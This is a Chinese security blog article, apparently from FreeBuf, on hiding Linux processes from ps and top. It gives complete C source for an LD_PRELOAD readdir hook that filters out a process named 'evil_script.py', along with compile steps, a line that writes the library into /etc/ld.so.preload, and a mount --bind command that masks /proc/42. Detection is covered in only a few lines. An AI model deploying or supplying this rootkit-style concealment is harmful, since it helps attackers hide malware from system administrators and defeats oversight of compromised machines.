freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux进程隐藏:中级篇
2020-09-24 09:59:17

1600848228_5f6b01640d83ba582b270.png!small

前言

上篇介绍了如何在有源码的情况下,通过 argv[] 及 prctl 对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps、top 命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat 、/proc/pid/status 、/proc/pid/cmdline 这些文件的信息,使得 ps、top 命令显示了虚假的进程信息;但是还存在一些**缺点**:

1.ps、top 命令还是显示了真实的 pid
2./proc/pid 目录依然存在,/proc/pid/exe 及/proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称

所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏

1. 应用层下 hook 函数调用
2. 挂载覆盖/proc/pid 目录

PS/TOP 命令工作原理

我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理,strace 命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用, 包括参数,返回值,执行消耗的时间。

实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic

命令 strace ps 部分显示结果

stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328
close(6)                                = 0
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
read(6, "00000000,00000000,00000000,00000"..., 1024) = 311
close(6)                                = 0
stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150
close(6)                                = 0
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978
close(6)                                = 0
stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151
close(6)                                = 0
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969
close(6)                                = 0

命令 strace top 部分显示结果

openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9
read(9, "4679 473 371 263 0 127 0\n", 2048) = 25
close(9)                                = 0
openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9
read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362
close(9)                                = 0
stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9
read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322
close(9)                                = 0
openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9
read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26
close(9)

从上面的结果我们可以看出,ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;

一般先调用 stat() 确认文件状态,再调用 openat() 打开文件句柄,然后 read() 读取内容,最后 close() 关闭;不断重复这一系列动作从而获取进程信息;

当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。

top 命令的原理与 ps 类似,这里不多介绍,下面进入正题

一、应用层下 hook 函数调用实现隐藏

我们这里所要 hook 的对象当然就是readdir函数了

这里有两个问题:

1.readdir 函数在哪?

2. 如何 hook?

[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html] 在头文件 dirent.h 中声明

头文件:#include <sys/types.h>   
#include <dirent.h>
定义:struct dirent * readdir(DIR * dir);
函数说明:readdir() 返回参数 dir 目录流的下个目录进入点。结构 dirent 定义如下:
struct dirent
{
ino_t d_ino; //d_ino 此目录进入点的 inode
ff_t d_off; //d_off 目录文件开头至此目录进入点的位移
signed short int d_reclen; //d_reclen _name 的长度, 不包含 NULL 字符
unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名
har d_name[256];
};
返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回 NULL.

如何 hook?

我们这里使用的是 ld_preload 技术,关于此技术可以看我另一篇文章,这里不多介绍

接下来我们正式编写 hook 函数,先以伪代码进行介绍

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/* 这里声明一个函数指针,用来存储 readdir 函数原始调用 */
static struct dirent* (*original_readdir)(DIR*) = NULL;
/* 这里是我们伪造的 readdir 函数,由于我们的 so 库最早被调用,所以 ps 程序调用 readdir 函数时也就调用了我们的同名函数*/
struct dirent* readdir(DIR *dirp)                                       
{   
/* 使用 dlsym 函数获取 readdir 真正的入口 */
if(original_readdir == NULL)                                  
original_readdir = dlsym(RTLD_NEXT, readdir);                                                                                                                                                     

struct dirent* dir;                                                 

/* 这里循环调用原始 readdir 函数 */
while(1)                                                            
{                                                                   
dir = original_readdir(dirp);
// 判断是否为特定的进程名
process_name = get_process_name(dir);
if(process_name=="123456"){
//是,则继续循环,这样就相当于跳过了特定的进程,不打印信息
continue;
}   

break;                                                          
}                                                                   
return dir;                                                         
}

整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider]

修改 process_to_filter 变量为要隐藏的进程即可

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
if(original_##readdir == NULL) {                                    \
original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
if(original_##readdir == NULL)                                  \
{                                                               \
fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
}                                                               \
}                                                                   \
\
struct dirent* dir;                                                 \
\
while(1)                                                            \
{                                                                   \
dir = original_##readdir(dirp);                                 \
if(dir) {                                                       \
char dir_name[256];                                         \
char process_name[256];                                     \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
strcmp(dir_name, "/proc") == 0 &&                       \
get_process_name(dir->d_name, process_name) &&          \
strcmp(process_name, process_to_filter) == 0) {         \
continue;                                               \
}                                                           \
}                                                               \
break;                                                          \
}                                                                   \
return dir;                                                         \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

以上代码非常巧妙的运用了宏定义函数以及 # 号的用法,使得少了很多代码量,同时定义了 64 位版本的 readdir64 以及 readdir 函数。

编译成动态链接库测试

$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ mv libprocesshider.so /usr/local/lib/
$ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

这样一来,ps top 命令就找不到进程的任何踪迹了!

优缺点

优点:相较于通过 argv[] 及 prctl 对进程名及参数进行修改,这种方法彻底隐藏了 ps、top 中进程的信息,看不到 pid

缺点:proc 目录下还是会存在我们进程的 pid 目录

二、挂载覆盖/proc/pid 目录

利用 mount—bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录,我们知道 ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐匿。

例如隐藏进程 id 为 42 的进程信息:

mount -o bind /empty/dir /proc/42

优缺点:

缺点比较明显

cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount—bind 将其他目录或文件挂载至/proc 下的进程目录

三、总结

hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息,隐蔽性还是不够,如果结合 argv[] 及 prctl 一起使用,也还有明显的缺点:

1、存在 proc/pid 目录,防御方利用别的方法遍历一下 pid,与 ps 进行对比即可知道哪些是隐藏进程
2、/proc/pid/exe 以及 /proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称

Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术——在内核中对进程进行彻底隐藏。

# 黑客 # 系统安全 # 木马 # linux安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者